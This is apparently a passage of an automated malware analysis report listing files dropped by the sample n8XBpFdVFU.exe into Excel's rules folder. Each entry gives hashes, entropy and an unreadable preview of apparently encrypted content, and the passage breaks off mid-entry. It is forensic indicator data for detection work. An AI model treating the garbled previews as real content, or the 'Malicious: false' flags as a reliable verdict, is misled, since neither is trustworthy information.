C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.803221388621491
Encrypted:	false
SSDEEP:	24:JivGXOS55ir2gYrQC6e8OYZWdmfZZ/vxsO0kt4r3s29EqWCFNovbD:JivGXBIKhMCAO1mRZ/v90kt4r3nF9ozD
MD5:	73B382735FD15B0B1F377B0BC3B5B65C
SHA1:	CFBCFEC29154E897034C136919C956DBFAE20172
SHA-256:	24CCBFC9138704BB3F379F8B4E405D39F601A1C8910D2F014175A5E4A177873A
SHA-512:	106AF8C02537B5C481399554762637A1392BE347842135BB94E6004406E2602452908792F8A96557DD126BFFA08F849B3F88FBDF4D68A6EA6C0483DD07B13AE5
Malicious:	false
Preview:	<?xml MS.l...#f&.Q..;s8x7".....C.P/Iq.C$..h.k.a...O...q..{..@.t......'..!.\..&..&5.....'../o..u.g...e.e..hpZB6,ui....c.-....~..l....W...s..}...j.CMMq...].H}....(,/Y..!A.j?.N..k...f(........F...y'7....i.).A_hM<...B%.M....w,......7.....\.~J...w.ps....r.!.j.i.\|/8bS.l...."nZ..u.<.....]-..P.u}..........@...=.5....C..........+.........DZ.+...n......%.....)3..d..j...\|k:........{...s/0P..PS?.?WQM.....)y./9A.yx........(=..^.. ........h.1gw.O....g2..h..&5......U.8_.C....z)..~...,.n..@b6q...Y).......Wx<.......`...RP.ig....Cd45pN+..SI8..2C.;... .4P\|.@A....r.W..J...7.+(&...-.=x.(z.(.l.,./..\|k[..C.A..9Q..,.\"..h.._...#.\..L..d.a..9.}Cn..%...'2....!p....mR.%,.B.._.U.=.q...i...6.^.i..FW.3.[h.($.O.d...d.....R...7:p......h....w{..34.ts.\}...G.o.K.....Q.....3PS...C]DU..q...2gw.k9DB.. ..*.DV...4.....G.....{z9{_...y....t...W...9.M.>.$A.5.....j.....Ks........u...y).&.gX.......R...9...yN...j1$.....o.!..+.I.W8].D....p..m...Z7.......-19.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.769311575003212
Encrypted:	false
SSDEEP:	24:CzHgPYvD8um9W1j8vXvjWGTaMQ04mDamgK7g4+LPMibD:+7zgW1jmXLJTaMQJ+JmLPDD
MD5:	48BBEBEFD8D2BE2A91766DCA170BFE98
SHA1:	4885A25416F4D963FE32DB04641DCDFCEE78E59D
SHA-256:	129D38E51FA81EA37A243EE7043041240A68AE9C515614C8DF89FA6C01328A22
SHA-512:	DC60EABEF8499AE102C75039624A4795960691122A0B5E5BAAECDC73606329D29EB0AE0C25555B91E3572B5C3300A9B6AFFFC4C23156E74368FB82DDC06D4504
Malicious:	false
Preview:	<?xml......z.18.....l.}.jY...3^.....>c\n...\|..1.\|8cw....l......X..K.z..M..}\|....F.x..loC%...eN..>)..].u...^.f.2..\JC........0.:.....d.......:.h2.8..\|.>.'Y..`"....l.}.iv..SH4.r}....7p.g....._..^....F..;2.Je5..7..l..6.`.~.r=..ZR....agJ......r.g.H.!y..G.7.....zZ)<X~^\.I.7.%.g;..~...(.z..X...s....F.l.P.NO./.H.....O-Ja..J:I...E?......t.M.O......f.\i(..jV#...z\7.....x.G.l4hgR.....5].p..X...Y?sT<..=......(.3.H.......l..W/....2.6..'c.B_...J../.Q....4....E.._.vMV.&..'......N....-.2...s._..%.U`.#..t.a..1...1..%h.2q.....u.....a.....?.~.%[..O-./.2......?{no.+3...R....J!./.>.....s.lA......@T.#......hG;....j...2}P>.1.#9....E....%.x..A....:G.3;E.RHRQ...0.%...]?.D>....q=.8...nS.sY.o-.V....L.b#..?...=i@...s.+.a(r7..CT.>1D#...W..b..7..C.+=.Su...M....s.C>R...g<.N.].n;~..}...'K..........s.i.(.K..'.A....x.)......S.o%..............w.W._.E^.=....\|..\|!...:..L...........9..0..Mp...?(.[*'..h^.....X\-.t(.X.4P.7.S../..ad......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.831118621724432
Encrypted:	false
SSDEEP:	24:/ljXyFzuS+kwkRZJpne+m4FTptgrql6r66pI69z68l8VxBUJ0sH9bD:djXyVuiRNeb4VXEql6GUt9z688bB40sl
MD5:	5006E62A9CF6CDB6EDC07D6D687A0EF7
SHA1:	BF0789C7EAA2C906DBAF12120004E8CEB2282559
SHA-256:	69292584EBB06487B16F453C73FB5B1D225C4A4A0107ED951B66B10411A732EB
SHA-512:	1CB762E04A5AE213539B1FD96EE1799536B62323C2D1AC962A3B9E62779797F8AAD28A8F2A8696556F66CBD9DCAA51AE6DC9260CC30ED46AA8FEE4BC1FD857FD
Malicious:	false
Preview:	<?xml.,.2.-......&.._...z`..tl....Kn..l...r.1_...9.....U.)7......tNa..?..._@..aG)...r....vJ.l!.05B...;.fj..<bJg..U..\/h...'.._#.<... . @...).L.b.@.A"Z\...L...8......W......2..fd...e...../?+9y..5..=.,X.V.....l....I...\|w.......T#..E...V....'........n{.Q.s...u;.G3-.z..........#...V."u....>.~..........e....z.d...?..&+.Fo.k...!.....e..6....=...Re..W.^.e....H...!...yP..8v.n...?...h....yLK...gZ%.^/.s..........m.. ..a..]j.....aR. .).....n.EP.P.....5=.&=!.!..U.by3..i....fML...?^.,.....io........"..af:...lM,..Jp.2...(..jT...E.v....A....-.o'.v...G..}.t.V...r...g....K..'.H....1....NE.w........o.7k...`.w..5.....qS..4..o{....O....(2...uV.Y...k,...V.....Hbl...a...N>..\.0.3x..TW.:...7.R..@..n.37F].g.......j%.r.....)...$..t.h).....3.....{;......."8'v..1.&........n.?.v.I..../L.VX/;.........*.@e,9....T...IK..@Y.&w.E-ni....B...:g;9.=.....f..dL....m....G3.A..`!.).3]^...Yl[.WxD.0V..H]..........]H.O.Y....1.......D..$...?./..J:B`P.FK...n%6W..vC..}F/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.768354170556133
Encrypted:	false
SSDEEP:	24:iDIxmLJLbseq6cRO0gqSYf7MEe8IjSuJAm6tKbD:iDIxmLdIeaPDDi80SV5toD
MD5:	65FE2BBB8C15F69DECF52C59D40FE1A1
SHA1:	0E83170D2795394718D21D30694681D491EA8E17
SHA-256:	6915A6C56445714E6A89E07DA2488F4EF31FCB102BB774F959B6FF2F334B9564
SHA-512:	5CF9B282731558033BFFB75410719522961E7DA3B7C69FD0E975D47A412771520BB76A7D1435544EDD7CA6E6814F05AA456E98C4FABA87897546523F00CD72AA
Malicious:	false
Preview:	<?xml.2.K).c...e.O{._Ajy..kN.7.B.o.:...A..y...Gz.l.V#m..;^.F.C.....W.}.2F<..7l.3....).&0...y..L.c.EW.>0..;.wZ ...G.l..Fl7..B.J.n.....:.Q..}n.!u..g..m...}.s@...2..%..p_...r.....2..E....g..r.. .F'.x.3.....\...+....%..HV$.....mF.>.A.g.x[..{Mx.}z...]...O{..T..0...6.RA....=...+...`.Ei....sP..i..!.z.z...L....._U\.O._%....f....L...Vn{..k..P%.....?.]=...f.J..E.H.\|..O^..+\.y..0.!g0jQ.8.@.,....o...v>.\....u...{I..9.x.S....M..o........%.0....qB.q.';.....o_.hH..9....l...s...$.R....%?.M.ELPI...[........6}C..V.'..D.......rzI....D.Q.....X....$.q..%.E.........g2....}8.IX1....:.pcK......xj\|....t..S.....K......TZ"KcX)..M.U...tT..[P.V....S..r...o...Wjid.!xh...v1$.R:<...K6'..G.&h.5>.\|..(..'k.......=Jn!T.T5.....w...... ...0..."..X.^j1O...Z......,?MX.W.s.........N.........@I.[..7.S...HI1.D...Hn.........Q.W....P.P.r.,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.865519724854428
Encrypted:	false
SSDEEP:	24:/0kMSepd+kooM9xXDzumS6lf3EfPchUAYbb7iGQ1j3A6ur1EPOu+sbD:/0/+kooM9xXDzoe3E3c1Yb/ZQFwJEPOs
MD5:	2E74D89C497E90352D6E34FA3100FD80
SHA1:	A3837D0DC73631EC3D5677A37F15B6E5A6F95B86
SHA-256:	F170175BF427CA5AF5E183398DDDA0DB3A0571D682934D68A99171F88E1E95FD
SHA-512:	055C48FD93B5EFCF7B0339EA678443A0FAECD685457D557D6C7D996E815F5DAF9D4E5A4BF7B3DE7B84C1B42EAB9BBCB416E65849CDD49C218DB285C467CF1D86
Malicious:	false
Preview:	<?xml\|%@..J\|..E6....{...1CA.R...Z..J4Mq.1.....@sY....C_.0...z.......b...I...A.........&-.#u..v.\|`Sl..:.U.\.........F..G.#..f..F_.]..O..i...2..Q.~.Co....8....vh.....M.i1..a.\|.8.....RX...L..]0....z.7..6"1........$H..)NP._..<T..pc..$.6.......v.<..B.i.ib;.a-i .5.J0.g.I.T^..@...F...().l ..CX...a...-...Q..Z.Sc..{Y..OZ."w.Fn.......R.......`.$....<.#r..R..p(U).!. ..z......o.K9....zQ.X....=L~ T....O..)J...>>.F!..._....:P6.BJq..DrV......v....8..X....Z.......h[..:.G.d.M...X.....h..M...E..z..+.S..w.,o....#....v...}....u!'.....X..V.....[...4(A.....Z...`y....T..V:D(om.J.......Q.5..z^u.:KaR......,1...Y.....Q...Q..n..+...$N2~^%T7.>)gW.J...rU..j...b.V.'o..\|F..k^.r....w{C...2...GE.Qk..F4j...]t.toT...O..J....k.\|.`y*:.d.H..QN.;...u?.....!C.iN......I.(@.CY..GB....j\|4...9..~kv..2X....cj...]Gj&.wX.:...SS?Vf0...i...]...8..#. ..b...<S.......J.n......O1<!..u.$.<.c.......2.[...Y....v...l...\|.Q.{.,&.C...l...P......z.B=...vC...b..`.^.J&.6`..m.....%.u.h$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.792557484876061
Encrypted:	false
SSDEEP:	24:gA2BNoyq5TLyX7NXoTtORjhn2yyGpjvvmQB3ib3bD:gVBNWIXoTyLvvmQBWLD
MD5:	8ACF51EACEC72F17F805C7780F16279D
SHA1:	DFF23E6E6E199171677968C1F046ACF93220CBC8
SHA-256:	56ED34205668C22C9C88BCFB7CD70E5C9587FDABD5698D69DABF0217D88B622D
SHA-512:	072B3C91D9CA853327174B176057BD0742EAC0EB55C812472BF8913F22E55568FC7D2B8E8620FC3801DD8C57E03145EF3D3C2868A54ED10D9C706A7E4CAD5E55
Malicious:	false
Preview:	<?xml<....Tv$<.vH..X....w..W.....T...=N\...2.D.?..!........P.t....v4...:T.~......2...B.?.O)....~...-......q..A.e8 .........2. ..>!....a..r..w#....Wh.?.v..T.....n.`M.....ZO...C]..w.#.b.....(.Cv..t..vg..i..^..5........{..m.7.'..Zs...b.C..n#.d{.).......L}n.Z5}..Xk2.a..x.........Q.ev...[P..:r;....t..H...[5...5.O...}..\|..{..ck..p.Y.......{..cT....F..r..X..Df`.\|..K..]k."......gA......>.O.m,.i...XF..g.T....\..H..s.2#s..Qx..}.%~_]^.T...n.1.W.YQ...>..y..._q.x.T..K..%$....a.=.WZ..SvJ...p(.'L.......+.......\|\|_M..f...0..zc.."24x....4.8F.J-.....Pl...A..z$..Gf....x1`+...]y...Q.......9....f..z....a..!.R....m5..@R......X..}..:..H...rp.o.C.x..RZ?nt.J.-S....P/J..@..:.....#.....\.y&.Q..e....][..MB..[@......D.\L.A.l.....d..\|.X....+c.....W;.C8.ngI...J._..J.c.2...kG.... ..W.7l..........."..(xS..Dp.....7.......W..#@.o.p.yc.....f...96.......L./..T...f.O228.B.m,....cSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.80295113050196
Encrypted:	false
SSDEEP:	24:c8iEGrgWppSGitTz/R1cVjUtwst0OEnLgCAp4wVwebD:g7gWpgGiJkUtwsZQkmwVwcD
MD5:	84D5495DAD4FAAABE982FFB8BBD038CE
SHA1:	C2B5AF4CBD8617EF45A404514A40BE7067C64E81
SHA-256:	7F1E9A7FD2CF01553FE6F62382DCFCBF23A01ED1371A600C5FF5DB62B7844013
SHA-512:	29F2EE390C4EF04B72B4088509E74CE8DB9800F67730C0A8DF6C1801D19D22F6842853EC029449DDBC498F39F9184C009C51A552216D58DB180004749E6F9521
Malicious:	false
Preview:	<?xmln.-....<...&..ia.:.n.......;../.vR0,......rq/.]..p......w4~.z...+M.2...e..C..&...:."Xu.]u....A...4.j.R..h.....K.?x.....i3~....\|.+X.....V'#AA..MX./......K....YHC.....:.g.....pS..8.......`:.9...&..@....>.c....bG...H...].r....a*.b9.e.4.@...B\|g..6.B...i4.j2.......}R.T..L..5.x]...l.'..c.."3>jJ.{.C.....I"7..j.....g.7>.{.WM.T...v,)iZn_....K.{/.."X..t.EDKn......(.......E.B....8rP.#....W._..mc.-b.f[.h...%J....(.....e.~4...P..{...........PB&-A.1..:.d.DP.C....J..Y..........xo-....../.h.I-...?.1/.X.F%.`....i.....(.8.{..7.5.......S...o...A.G.+..I........g.#.........gE.....\...e)).u.@}..o.X..P.4.8.h.C.sz...I`O'..`.U.?....18.A..,5.2&.b=....)f.b.s..Y....>.tHC`J.[2.z..8..o...r.y..T.<...F.(x.....ItB(..M$.".s..b....tW5...N.n.y..N.k......q..S-7..w.L.D....IA.Hq.H./IoVL.rZ....y.^n.k.....p..H..R.>.3....P..v..g../..........(.._....K.g..c.e3a..U=..........K..V......sV..y...G..G"..k.?..&..Y..CW..x....+...I..}..U.0{"..D....^Q....U...?..."[).@}{....Q..m.7..C..\..==+..G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.860533287244986
Encrypted:	false
SSDEEP:	48:l2akk+ir2AMezGafAkrCOHdCyOHtrQaqFNfOcNDD:lJtKAMCGcAyCO9yHVQaGfOkP
MD5:	BD54DB9D2F74E877AE43ED8BDD84F885
SHA1:	BD7C63B2E0D81E0BCD50B855FE66A9618F21EC90
SHA-256:	91C1B7A4AB684479D0BBC6474492546BCF16C069AE6B34C9099140920DDCDFE0
SHA-512:	E72873EAA268CD401359C511199E34155B7916DA8917000D7E03849D0F94823952EB235ED33D8514AC04D0B2FF24F72C7D16FAC0CE491407490F281AD0D553D2
Malicious:	false
Preview:	<?xml.f"....Pv.OJR....`.\|+...nI\.X.F.Dq..?. 0..M....Z.K....g.........].... %..?.{..=.i.z...9KgN\|.l-.....s%.4d.]T......K./.+.)...:.......0....h..[p.<..A.4+..N.9R.>i.....A..OL....'XY.}..!.b...A.M..\|.+b..xt...dT_......`Z.,....e`..$....J1.AQ.....&.#..&U4..K.0....]4.Wa.........K.Rn.?..a..-.X$....q..;...1W.........q=.)....2y...wb.t.....I..9..g..}..-/S,.\|)&Ka..w...............{z ......z.p.^\|>.q.H..d..x>p.Y..,.._.?...........w..K........R>.7..^............w......9.V.w.2'E.J..wg\|..}P........;c..+]..c.}NP.o....z<..c...".F.......z.../.j..b.i].hHJp.k..^..2#...'Rh.p.u.9.......^..d.2.WG_...jJ...k...=9.?O...6!......n.<..o8F.kh...5...=..^.\...=.2.>q.+..6..?..8 B....;./....R..i.^.\|.O.?.....i....).q6.........H.F.#J.....>0.d......%.XL'rO^..L..7.fd1..@...y%2..].3..6.1..9...cuK7....lK.....Z.v...14..}q.)...G..5.Q.t;..D..Pj......._7jv.d.)R".{..`....]f....E..nR./=...9ogA1BL..n.c....Z~.....z.-.....)...G.#...s.;............I.9INeYm$.>. ....(*.&0tf_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.70352680325954
Encrypted:	false
SSDEEP:	24:QbFOnELk2WgqurI6gDgzh9DadORtnlPEFiXRbD:QhGEw2WXu9g4hbls4BD
MD5:	383DD4D9B0C05C6CFA0343820E8CF8AF
SHA1:	08E533FAE2BBE42181086CE0CBD9346E474E9A60
SHA-256:	00E7EE6902E4DC5F22B9287DDD9A6FD360DD13220999713B310B0F3497F7CD52
SHA-512:	0860CEEE4C6E9DD9004A72FEF96AFA74B63960AC37B98EF79DA28C99026099ACC07DC157269C19DEF7EBF7BB7F45C69D53310540DBB1C81D82394BFFD355B5DE
Malicious:	false
Preview:	<?xml-~..Cr.".E.'O...r?.......t......z$.z.{j..G.fK..G`....x(....V....R.v.w.i.....}1..E=&.x..]..R~nD9.......#j....Ua.2.........V.YK..$..9..........L..;..vSS!...b....A....&yy.......<..Y^g..%.)G.2...M..r"8.0I...{.v.EY.b.W...$..G..cG^.(.Q.n&6..J..V.O.........Z... u.n..w{I.r..SS..{`......,8{.]@.....#%.d......i....=.A.../.H..a.g{..j...P.@....-..Ww.aQ.y.D....ty....1...x.....,.h.5.o}..:m...b.....j..=s..W...u.l...c......z..D.X...dy.W.x.&..~.sI..........@.WjjK..>K.y......3B.D.\|F4....9.!w4......H..L.4.X\...P..B...\|.......;'.....n....UG..HW.cY....K..........i..8.P....."...lL..I...z.)I.P.t....g^....E.T<...74......<.g...36...@j.....vP.y.Y....B.VR...Uc....4."h!:...oT.....uB^T..;.l.Y.4...j)$5.l.EP~@....".U...].._$.=X.....7D(kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8334073381523766
Encrypted:	false
SSDEEP:	24:KxT7RKhpmq70qR4+C4wWdM26bHFbfrbhICcr8u+/B+sHaKmMbD:KxNKn7hq+7nd3kl3bhVSqSGD
MD5:	CCB3712DFA09FF2E35316FFEE6B96D1B
SHA1:	6969498E8E785B2389B5DAB0C228E05B5B102185
SHA-256:	FE6251DCB06C7AD6EC16D92556641EA6055327783E1E5A2E58A7AC71427F5D6F
SHA-512:	120794B7F5CEBCD241581773BA9D401EBDF12823B8FDD20B6ECE4C7A30EFAF947B0AA911DA3B0E15B03876705C7D2191C3070B2D4112CF22F49AE31C5696BC36
Malicious:	false
Preview:	<?xml.j..3..5HstY[+....*..\<....%.+.K.15d.IG\|....S..z.......9....5.!.F..g-p..Y......G.b...}.......3 P0..B0..:l....[3I.(..;-.).......i.t.T...#w...%.u...C.tH....1w..D.m3s.v..R&rNd..].{.u.m...O.(z..OW..iaH....;.T..T.R....9~.<.d2....R8..N.....o~.(.@.1.N"...~....q..{P3...Jc...O....v8^.%Q.Q...Hv(..b.Y.-)\....o....C....:..\....C.P...z..............].\%.M9b[...d...%....2...$.t=.I_... c\.%"W+.../Sj01.#.....".F.F.{..P.....e.zc;.....s..-....w....]P.jn.M.s".....F?....y...M.5..o.n....G...<I..C<.J..x...../....Z.H.......>.......I23nn....W.~..:.....WI..G$~..rE#..D+........5......P... ...C...0.....{j....._.t.$.e.Q......._.Y..D...;..m.D..&..YJ5F.r......D(<...e..=.Y.Q.....7.;."..O..1...\.......(a..V.B..@.4$k...'.6..:.....8~..U.!...C..jb....=.D.]B....{.`.....1.Ti._.pOI....#.!x.,.N. .QY..e....b..^.....;..1.).XE..~A.......b..k...i.i........b[@h9O2...x.&.F..'...b.....j;.#.+..,2hsUSH.....k\R..b.EJ.ZM...>$MUH.F.6.H,U].j.M\.Is2;..B..>..Z.....4....d}O......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8255537384952625
Encrypted:	false
SSDEEP:	24:HxJkGl1KdbNJw7L8oYqwiGAy1khr37k50G77OlqU2yDUpbD:RJkVJw74RqvX+khrWr3UaD
MD5:	6B42228A53AD3ACBBA945F67EF0AD30B
SHA1:	EAAE10AB380170D8C35A7E0114FD96060924EF7D
SHA-256:	F4197E6D63AFE9B15DF10FCEBDBB6F72FAD7EE2B8F89104AA3838393E25338C8
SHA-512:	E4BC3D2213D94B5CC1DDE3D24F8430F9D883EF70EE266BCDFCC3B1CB9CEBC9186E642EA5B548017CCDF3FCD1182FBE532BB2F08F5BA7FD8D7FC5D87E52B7F78D
Malicious:	false
Preview:	<?xmlvl(:.e.]mK.19..dQ>.l...Z.^04......).2..._..x(N...ZVl"?W......^J.9..Z...Y....&..j..].{w.8{.N.B......}%e..1.g.}.#.G#..".A..2......4...1..k..N....af.)....5. KLp.^8..R...F.\r.}.gJ.hr(,{...'.../4tn.c_2...6/1..[.r[Z..\,.G..c..D9.\.u..yE.E.<<%.......Q\|`n..c.b.X&9..m.g...5...m.ZJv..yz..y.......;.....p\|.....JL.....ep...........r?.m..!'.d...<e..L.oD.....;......}.....j........B.R..[O`Z5..5.<..Fda..MUA......GV....ZU.].Z.0u..7..^.#...n.\|W..&.Q.........J?ME.]. \0\|....>..e?.9 o...8$6..2.B...;.....{"m.....[k...).G.}..4E[.....$.$...^=fp.K...(.C....\...1..6.....t_"../..`.e..0...g..r..@l....7x..&..C......b>.........(..#.._J....N..S.]......z>.k\|.nJ&.o.{.h"e...q..q..B.<.g..;...7..o..Y...}.[m...i.....(.1g....N'...z.~.:..(?>....l..c...]..:......f.+....B1.!....C.n.Ie.".8.srQ.......,....p...r.o...Y..PV........k..!.I+.../f~.O..^g...HX...5W...H(Eh....T>9.O j[J/.....*..\...1...[..q^D......A"v,.U#L.6yI.)..x..u1....LE...:........YA.l..\...).......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.815128178714901
Encrypted:	false
SSDEEP:	24:mL4QoJojtMxEMJvCVXm2U4e2Jahq4he90BZxgJb1gwSahmnq/ObD:DlJoJMvJviuBGahW/F15SwmnDD
MD5:	7D20660B24E5E2079A3CFB58EB968FD4
SHA1:	86DC62DCFB0F9AA4204A3DFA8EDABC6205706558
SHA-256:	FEF61CE93C4C58120EC2B2A14A3684D7E0278684A1D35D24DFBD475AE5F6DE66
SHA-512:	D69919A3E2B0727473CE653C8079B76D2BF06A83830D078C3253EE559FAF82EDE5DC38BD416202814782D7D4276693925D52EE67EDDEF8D4E4F12140F82D75C9
Malicious:	false
Preview:	<?xml....)...\_&._IY.L.k>.G..........\..m".4!.Ex..Sd[..If._<..X.1.f....{[$wL.Y.....CA..O....G..'2(?.O.8.8...V.z..rr\|.4E....5.\|z.z../U.)z..:=.{4.z.a85.=..7..$_....:....)`....}v...fX........_.......z..s..3.c^x.....P..f........{.......///n..xGc.w6vq..BT..C.=..H(.8....#.l...z....;..vE..z.........(.Q.Ud.?..Q.z.8...].8..zQ.T..j....4.._..!].U..F..;B..Xr.=$.s+Z..'.VD#(.l....j..$...../T\|B..:.......#Q..$...H!..A.@&m.K...$:.).L...P......p.YL.c..'W.>.I..%ZCp........J..kf.....O..1jY\J..:.4...w).....j..`.8.>..B.+..\.e1..k....t....r....e...!4.e..K.f...&.p....j~.d..Y..pG.$......F.U.......`..&w.....e.c..c.8.pB...o^.[...}5yf..x.5....f..n.@..Gy.:...x..I].W...F..e..:[.1....G.........yc.\|J:.3...z.y.P...}..y.ZS.K.."64.?..O.~....\|....t+?0_.].D..N.9..B...:q..ITk=..j c..R.]\..r...{-AU)2k........NM....c..{.e.lW.G........pr.^...}h....gv.u..g.....v.SL..K...Z.,...E.X.Z.....k.......V..`..a.>...hz.(,.l.,..=.#..4........NP.:pO.p.V.z.'.?..LD..7..-...fu...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.783869773155462
Encrypted:	false
SSDEEP:	24:gaTVd72zPQqRwAcygiDsYlVfL9IgN5+vfm7NU5MB7vyUStmbD:Bd2zoMVhoYlVzpN5km+5MBzyUa0D
MD5:	66970DA4BDC5D16867E0EC85863FD38D
SHA1:	4EC2B578A3069ADE1F311776E9EEF15B1907E299
SHA-256:	CEB07E5677EA2CFE3C3C1C7CC855DBA8830B92C03ED9CE6BAA72859560D78345
SHA-512:	5727A4345E014971A5B3F209A6625A7E0A58F1E48AD398EBD1358CC541429D43910C6203EBCFBDC347EFB907E3D2B55928535B869BCD02039DB5F6D2955E3BA9
Malicious:	false
Preview:	<?xml....1.r.x.t.+.@,V..G.....b.b..(i(h.oKU0.S=..bQR.9.}.f..#..2.2.....i.-...T.:.93.6$o.........d.`G~...g...M.0S.O....C.-#..Gp.:a.=rs....x..6.X_lU...?.0./L.7...2.0.......:.....&.O.".....s..to._..k...W:..y...XlS...'Z..^.......`...w.R."=..d.0] ...%....Eu.N.~..%....zz.\|...a\|.Y.y./@<i5..Y.Y_.......x3..F^.>.....Pd.....c....a..?.&..W.:...\.S.@o.".2c.z..90....<...=n.eh....,.D.l.+p:T..<...Xs@...RV..5rue..RU..Tcg.!8?.....)J..)3}4!.......eO.y'.v..~..81....m....o..K.~..^T.Gq\......U.A..P..F..#..SH....T...9._....k..]..mk((=zxY.h1.dws..S..I..ph......t+..D.w.l. F..\|...B..I.e...m.S......z..IS%..:O.%5r:+...6...wz...q... .&..\k.b.6tgo......$Kw..{=..z\|$..\|....=c.^Bx/2..g../r.c...l1..W..Wlw%...9!p.DU...?.}.w..Bh..{.D`_..$.........a,a\$X.....>.. .[I...B..^.GDy8....G;....rT...\..z...@.P./a.yL\..v0.i\|K..A....w...."`.....O..A.<... ..6.^.0I.h=.@.....'.8x.,..B.S..P...g._.....D.uX.c....G P9..-7.;...".h]..a....w..KhK.`.=...g!`..ky~..."..K....yt..+*...A?..L.0.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.823894422674734
Encrypted:	false
SSDEEP:	24:aG3Dqt8E/WkQ7IBc0jK7Wk0pKlRJ7fOW/7pxKpVhS7HH77cLwxUbD:9o8ZOBDjK71NlRxOwpxKo3cLm+D
MD5:	07206ABEF08B5CFCB886231BCE70B15A
SHA1:	7A3A75B045D64F0DE10CD5ED9E691FEA32EAF310
SHA-256:	E394A6BA3F1CC07D5911BF291EC215578413E800F39B29ED7770E41456EC480F
SHA-512:	FF1A6D9989DED31ABDDA4E84B1E45690F3A50E64FDA18A513BCE6B3ECD325B3E97F79275FF86ED5304A84E98BDAA526827560B5D9A982BD32A46EA46B65569F5
Malicious:	false
Preview:	<?xml(.}f...}#.et.$.)g.B&Hf..X..m.1.2^.../i..zQ.B.K'.......<f$....=Lm....y.......X..6.\.:.7.t..9..X.._z.[..p.W..7i...a..........Y........;.......>I.O.8b.-...uk..k..z.......3.j'..)..jA.rd......._1....Y...~..4.....:.r..w.{.1XI.R.......@Q...g`...b.u..Yw.!..)...G........@c....m..)......54.83..%C..)L..%....P..G...0..g5e.....d}.......?..._...T.............)....6...^;.g..~...gU.~[..?C}.XD..\|...U{..YD...oZ..l....M......'.8 ./..[W.I.....?.i..i<.4..O..../...T..Z^...T].......8...K.\|...%+.\...F_...=q........rkf../.q...?!..S3(\.h.j(.&..i.......y.wjq.*3..8.V..Z....GA.o}4`d..T...,.vfY(....MQ.9..n..:eX....FOo...+.S..r.;.V.h.5..V.4.>..UuT............!2.)Y........Z..V....w.P..Y....PUN..^.._.X.yp..........i.1,.i.............SeMK.p....8..b.v=.ve.=`W.V..P\c...E.o.E.....r..?mG.6.:....Km....l......!.b..J.x..Oeh09..r!..-..>....>.g.E!.kQ.A(w..g....T..0..Z{...}..E......@R.}.aXGn!3.x........&.g.....jo....\..K.n...B~..H.5.t)..%..m..pP@...9.7.9a.\|....o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.839792797171403
Encrypted:	false
